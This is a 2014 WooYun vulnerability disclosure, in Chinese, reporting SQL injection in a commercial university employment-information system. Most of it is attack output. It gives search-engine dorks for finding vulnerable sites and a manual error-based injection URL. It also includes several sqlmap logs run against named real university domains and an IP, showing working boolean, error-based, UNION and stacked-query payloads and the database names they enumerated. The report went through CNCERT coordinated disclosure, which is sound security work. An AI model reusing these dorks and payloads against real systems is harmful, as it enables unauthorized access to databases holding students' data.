当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070345

漏洞标题:某通用高校就业信息服务系统两处SQL注入

相关厂商:cncert国家互联网应急中心

漏洞作者: Mosuan

提交时间:2014-07-30 19:04

修复时间:2014-10-28 19:06

公开时间:2014-10-28 19:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:13

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-30: 细节已通知厂商并且等待厂商处理中
2014-08-04: 厂商已经确认,细节仅向厂商公开
2014-08-07: 细节向第三方安全合作伙伴开放
2014-09-28: 细节向核心白帽子及相关领域专家公开
2014-10-08: 细节向普通白帽子公开
2014-10-18: 细节向实习白帽子公开
2014-10-28: 细节向公众公开

简要描述:

rt

详细说明:

WooYun: 某通用高校就业信息服务系统多处SQL注入
看完大牛的漏洞然后买车买房娶媳妇
哈哈哈哈哈哈哈哈啊!!!!!!!!!!!!!!!!!!!
关键词

inurl:xyjs.asp?Txy=
inurl:Biogenic.asp?Tbynf=


第一枚注入

http://job.smic.edu.cn/xyjs.asp?Txy=10%27%20and%20db_name()%3E0--,
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
将 nvarchar 值 'IJCenterOfCareer' 转换为数据类型为 int 的列时发生语法错误。
/xyjs.asp,行 15


第二枚注入
这里就拿Biogenic.asp?Tbynf=举几个例子

注入地址:http://job.xq.sh.cn/Biogenic.asp?Tbynf=2014
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 18:07:40
[18:07:40] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\job.xq.sh.cn\session' as session file
[18:07:40] [INFO] testing connection to the target url
[18:07:44] [INFO] testing if the url is stable, wait a few seconds
[18:07:50] [INFO] url is stable
[18:07:50] [INFO] testing if GET parameter 'Tbynf' is dynamic
[18:07:50] [INFO] confirming that GET parameter 'Tbynf' is dynamic
[18:07:50] [INFO] GET parameter 'Tbynf' is dynamic
[18:07:51] [INFO] heuristic test shows that GET parameter 'Tbynf' might be injec
table (possible DBMS: Microsoft SQL Server)
[18:07:51] [INFO] testing sql injection on GET parameter 'Tbynf'
[18:07:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:07:58] [INFO] GET parameter 'Tbynf' is 'AND boolean-based blind - WHERE or H
AVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[18:08:15] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[18:08:15] [INFO] GET parameter 'Tbynf' is 'Microsoft SQL Server/Sybase AND erro
r-based - WHERE or HAVING clause' injectable
[18:08:15] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:09:16] [INFO] GET parameter 'Tbynf' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[18:09:16] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[18:09:16] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:09:22] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[18:09:23] [INFO] target url appears to have 1 columns in query
[18:09:24] [INFO] GET parameter 'Tbynf' is 'Generic UNION query (NULL) - 1 to 10
columns' injectable
GET parameter 'Tbynf' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 22 HTTP(s) requ
ests:
---
Place: GET
Parameter: Tbynf
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Tbynf=2014' AND 5763=5763 AND 'CHrU'='CHrU
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Tbynf=2014' AND 9975=CONVERT(INT,(CHAR(58)+CHAR(102)+CHAR(97)+CHAR(
116)+CHAR(58)+(SELECT (CASE WHEN (9975=9975) THEN CHAR(49) ELSE CHAR(48) END))+C
HAR(58)+CHAR(114)+CHAR(107)+CHAR(120)+CHAR(58))) AND 'YjCN'='YjCN
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: Tbynf=2014' UNION ALL SELECT CHAR(58)+CHAR(102)+CHAR(97)+CHAR(116)+
CHAR(58)+CHAR(114)+CHAR(122)+CHAR(97)+CHAR(103)+CHAR(66)+CHAR(89)+CHAR(75)+CHAR(
90)+CHAR(116)+CHAR(106)+CHAR(58)+CHAR(114)+CHAR(107)+CHAR(120)+CHAR(58)-- AND '
jrrW'='jrrW
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Tbynf=2014'; WAITFOR DELAY '0:0:5';-- AND 'bZzn'='bZzn
---
[18:09:31] [INFO] testing Microsoft SQL Server
[18:09:32] [INFO] confirming Microsoft SQL Server
[18:09:33] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[18:09:33] [INFO] fetching database names
available databases [8]:
[*] Graduate&Management
[*] IJCenterOfCareer
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[18:09:34] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 18 times
[18:09:34] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\job.xq.sh.cn'
[*] shutting down at 18:09:34


注入地址:http://www.infojiading.cn/sppcweb/Biogenic.asp?Tbynf=2014
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 18:08:41
[18:08:41] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.infojiading.cn\session' as session file
[18:08:41] [INFO] testing connection to the target url
[18:08:48] [INFO] testing if the url is stable, wait a few seconds
[18:08:57] [INFO] url is stable
[18:08:57] [INFO] testing if GET parameter 'Tbynf' is dynamic
[18:08:58] [INFO] confirming that GET parameter 'Tbynf' is dynamic
[18:08:58] [INFO] GET parameter 'Tbynf' is dynamic
[18:08:58] [INFO] heuristic test shows that GET parameter 'Tbynf' might be injec
table (possible DBMS: Microsoft SQL Server)
[18:08:58] [INFO] testing sql injection on GET parameter 'Tbynf'
[18:08:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:09:11] [INFO] GET parameter 'Tbynf' is 'AND boolean-based blind - WHERE or H
AVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[18:09:13] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[18:09:13] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:10:14] [INFO] GET parameter 'Tbynf' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[18:10:14] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[18:10:14] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:10:25] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[18:10:27] [INFO] target url appears to have 1 columns in query
[18:10:28] [INFO] GET parameter 'Tbynf' is 'Generic UNION query (NULL) - 1 to 10
columns' injectable
GET parameter 'Tbynf' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 22 HTTP(s) requ
ests:
---
Place: GET
Parameter: Tbynf
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Tbynf=2014' AND 5709=5709 AND 'gSHy'='gSHy
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: Tbynf=2014' UNION ALL SELECT CHAR(58)+CHAR(113)+CHAR(99)+CHAR(106)+
CHAR(58)+CHAR(120)+CHAR(69)+CHAR(66)+CHAR(77)+CHAR(65)+CHAR(115)+CHAR(112)+CHAR(
99)+CHAR(118)+CHAR(66)+CHAR(58)+CHAR(103)+CHAR(106)+CHAR(113)+CHAR(58)-- AND 'e
vYz'='evYz
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Tbynf=2014'; WAITFOR DELAY '0:0:5';-- AND 'rmFa'='rmFa
---
[18:17:23] [INFO] testing Microsoft SQL Server
[18:17:28] [INFO] confirming Microsoft SQL Server
[18:17:29] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft SQL Server 2005
[18:17:29] [INFO] fetching database names
available databases [12]:
[*] Graduate&Management
[*] IJAlliance
[*] jdwebdate
[*] master
[*] model
[*] msdb
[*] SJFCGraduate&Management
[*] SPPCGraduateManagement
[*] SPPCIJCenterOfCareer
[*] tempdb
[*] XDGraduate&Management
[*] XDIJCenterOfCareer
[18:17:30] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 22 times
[18:17:30] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.infojiading.cn'
[*] shutting down at 18:17:30


注入地址:http://job.smic.edu.cn/Biogenic.asp?Tbynf=2015
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 18:10:07
[18:10:07] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\job.smic.edu.cn\session' as session file
[18:10:07] [INFO] testing connection to the target url
[18:10:07] [INFO] testing if the url is stable, wait a few seconds
[18:10:08] [INFO] url is stable
[18:10:08] [INFO] testing if GET parameter 'Tbynf' is dynamic
[18:10:09] [INFO] confirming that GET parameter 'Tbynf' is dynamic
[18:10:09] [INFO] GET parameter 'Tbynf' is dynamic
[18:10:09] [INFO] heuristic test shows that GET parameter 'Tbynf' might be injec
table (possible DBMS: Microsoft SQL Server)
[18:10:09] [INFO] testing sql injection on GET parameter 'Tbynf'
[18:10:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:10:13] [INFO] GET parameter 'Tbynf' is 'AND boolean-based blind - WHERE or H
AVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[18:10:18] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[18:10:19] [INFO] GET parameter 'Tbynf' is 'Microsoft SQL Server/Sybase AND erro
r-based - WHERE or HAVING clause' injectable
[18:10:19] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:11:19] [INFO] GET parameter 'Tbynf' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[18:11:19] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[18:11:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:11:21] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[18:11:23] [INFO] target url appears to have 1 columns in query
[18:11:24] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
GET parameter 'Tbynf' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 22 HTTP(s) requ
ests:
---
Place: GET
Parameter: Tbynf
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Tbynf=2015' AND 5335=5335 AND 'ylMe'='ylMe
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Tbynf=2015' AND 4331=CONVERT(INT,(CHAR(58)+CHAR(103)+CHAR(117)+CHAR
(115)+CHAR(58)+(SELECT (CASE WHEN (4331=4331) THEN CHAR(49) ELSE CHAR(48) END))+
CHAR(58)+CHAR(117)+CHAR(112)+CHAR(109)+CHAR(58))) AND 'FvQD'='FvQD
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Tbynf=2015'; WAITFOR DELAY '0:0:5';-- AND 'GoSv'='GoSv
---
[18:11:25] [INFO] testing Microsoft SQL Server
[18:11:25] [INFO] confirming Microsoft SQL Server
[18:11:27] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[18:11:48] [INFO] fetching database names
[18:11:49] [INFO] the SQL query used returns 10 entries
[18:11:49] [INFO] retrieved: Graduate&Management
available databases [10]:
[*] Graduate&Management
[18:11:53] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 32 times
[18:11:53] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\job.smic.edu.cn'
[*] shutting down at 18:11:53


注入地址:http://career.sdju.edu.cn/dianjiweb/Biogenic.asp?Tbynf=2016
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 18:18:03
[18:18:03] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\career.sdju.edu.cn\session' as session file
[18:18:03] [INFO] testing connection to the target url
[18:18:03] [INFO] testing if the url is stable, wait a few seconds
[18:18:04] [INFO] url is stable
[18:18:04] [INFO] testing if GET parameter 'Tbynf' is dynamic
[18:18:05] [INFO] confirming that GET parameter 'Tbynf' is dynamic
[18:18:05] [INFO] GET parameter 'Tbynf' is dynamic
[18:18:05] [INFO] heuristic test shows that GET parameter 'Tbynf' might be injec
table (possible DBMS: Microsoft SQL Server)
[18:18:05] [INFO] testing sql injection on GET parameter 'Tbynf'
[18:18:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:18:07] [INFO] GET parameter 'Tbynf' is 'AND boolean-based blind - WHERE or H
AVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[18:18:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[18:18:09] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:19:09] [INFO] GET parameter 'Tbynf' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[18:19:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[18:19:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:19:30] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[18:19:31] [INFO] target url appears to have 1 columns in query
[18:19:32] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
GET parameter 'Tbynf' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 23 HTTP(s) requ
ests:
---
Place: GET
Parameter: Tbynf
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Tbynf=2016' AND 1215=1215 AND 'mdfC'='mdfC
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Tbynf=2016'; WAITFOR DELAY '0:0:5';-- AND 'rxKs'='rxKs
---
[18:19:39] [INFO] testing Microsoft SQL Server
[18:20:10] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
[18:20:11] [INFO] confirming Microsoft SQL Server
[18:20:12] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2008
[18:20:12] [INFO] fetching database names
[18:20:12] [INFO] fetching number of databases
[18:20:12] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[18:20:12] [INFO] retrieved: 5
[18:20:13] [INFO] retrieved: IJCenterOfCareer
[18:21:00] [INFO] retrieved: master
[18:21:19] [INFO] retrieved: model
[18:21:36] [INFO] retrieved: msdb
[18:21:49] [INFO] retrieved: tempdb
available databases [5]:
[*] IJCenterOfCareer
[*] master
[*] model
[*] msdb
[*] tempdb
[18:22:08] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 14 times
[18:22:08] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\career.sdju.edu.cn'
[*] shutting down at 18:22:08


注入地址:http://210.51.56.195/xdweb/Biogenic.asp?Tbynf=2012
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 18:21:15
[18:21:15] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\210.51.56.195\session' as session file
[18:21:15] [INFO] testing connection to the target url
[18:21:16] [INFO] testing if the url is stable, wait a few seconds
[18:21:17] [INFO] url is stable
[18:21:17] [INFO] testing if GET parameter 'Tbynf' is dynamic
[18:21:17] [INFO] confirming that GET parameter 'Tbynf' is dynamic
[18:21:18] [INFO] GET parameter 'Tbynf' is dynamic
[18:21:18] [INFO] heuristic test shows that GET parameter 'Tbynf' might be injec
table (possible DBMS: Microsoft SQL Server)
[18:21:18] [INFO] testing sql injection on GET parameter 'Tbynf'
[18:21:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:21:23] [INFO] GET parameter 'Tbynf' is 'AND boolean-based blind - WHERE or H
AVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[18:21:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[18:21:25] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:22:25] [INFO] GET parameter 'Tbynf' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[18:22:25] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[18:22:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:22:28] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[18:22:30] [INFO] target url appears to have 1 columns in query
[18:22:30] [INFO] GET parameter 'Tbynf' is 'Generic UNION query (NULL) - 1 to 10
columns' injectable
GET parameter 'Tbynf' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 22 HTTP(s) requ
ests:
---
Place: GET
Parameter: Tbynf
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Tbynf=2012' AND 2601=2601 AND 'lYFk'='lYFk
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: Tbynf=2012' UNION ALL SELECT CHAR(58)+CHAR(114)+CHAR(107)+CHAR(121)
+CHAR(58)+CHAR(79)+CHAR(86)+CHAR(118)+CHAR(78)+CHAR(121)+CHAR(75)+CHAR(103)+CHAR
(113)+CHAR(112)+CHAR(74)+CHAR(58)+CHAR(105)+CHAR(119)+CHAR(118)+CHAR(58)-- AND
'ZjxI'='ZjxI
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Tbynf=2012'; WAITFOR DELAY '0:0:5';-- AND 'tPpU'='tPpU
---
[18:22:32] [INFO] testing Microsoft SQL Server
[18:22:33] [INFO] confirming Microsoft SQL Server
[18:22:34] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft SQL Server 2005
[18:22:34] [INFO] fetching database names
available databases [12]:
[*] Graduate&Management
[*] IJAlliance
[*] jdwebdate
[*] master
[*] model
[*] msdb
[*] SJFCGraduate&Management
[*] SPPCGraduateManagement
[*] SPPCIJCenterOfCareer
[*] tempdb
[*] XDGraduate&Management
[*] XDIJCenterOfCareer
[18:22:34] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 18 times
[18:22:34] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\210.51.56.195'
[*] shutting down at 18:22:34


#获取当前数据库名称#
注入地址:http://jyxx.shumc.edu.cn/Biogenic.asp?Tbynf=2014
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 18:20:31
[18:20:31] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\jyxx.shumc.edu.cn\session' as session file
[18:20:32] [INFO] testing connection to the target url
[18:20:49] [INFO] testing if the url is stable, wait a few seconds
[18:21:04] [INFO] url is stable
[18:21:04] [INFO] testing if GET parameter 'Tbynf' is dynamic
[18:21:05] [INFO] confirming that GET parameter 'Tbynf' is dynamic
[18:21:05] [WARNING] GET parameter 'Tbynf' appears to be not dynamic
[18:21:05] [INFO] heuristic test shows that GET parameter 'Tbynf' might be injec
table (possible DBMS: Microsoft SQL Server)
[18:21:05] [INFO] testing sql injection on GET parameter 'Tbynf'
[18:21:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:21:23] [INFO] GET parameter 'Tbynf' is 'AND boolean-based blind - WHERE or H
AVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[18:21:26] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[18:21:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:21:52] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[18:21:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:22:09] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[18:22:10] [INFO] target url appears to have 1 columns in query
[18:22:11] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[18:22:11] [INFO] checking if the injection point on GET parameter 'Tbynf' is a
false positive
GET parameter 'Tbynf' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 25 HTTP(s) requ
ests:
---
Place: GET
Parameter: Tbynf
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Tbynf=2014' AND 4881=4881 AND 'AXuO'='AXuO
---
[18:22:46] [INFO] testing Microsoft SQL Server
[18:23:04] [INFO] confirming Microsoft SQL Server
[18:23:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[18:23:41] [INFO] fetching database names
[18:23:41] [INFO] fetching number of databases
[18:23:41] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[18:23:41] [INFO] retrieved: 11


太卡了,数据库不跑了。

漏洞证明:

详细说明

修复方案:

过滤

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-08-04 10:42

厂商回复:

CNVD确认并复现所述情况,已经由CNVD发给软件生产厂商——上海甲鼎公司处置。

最新状态:

暂无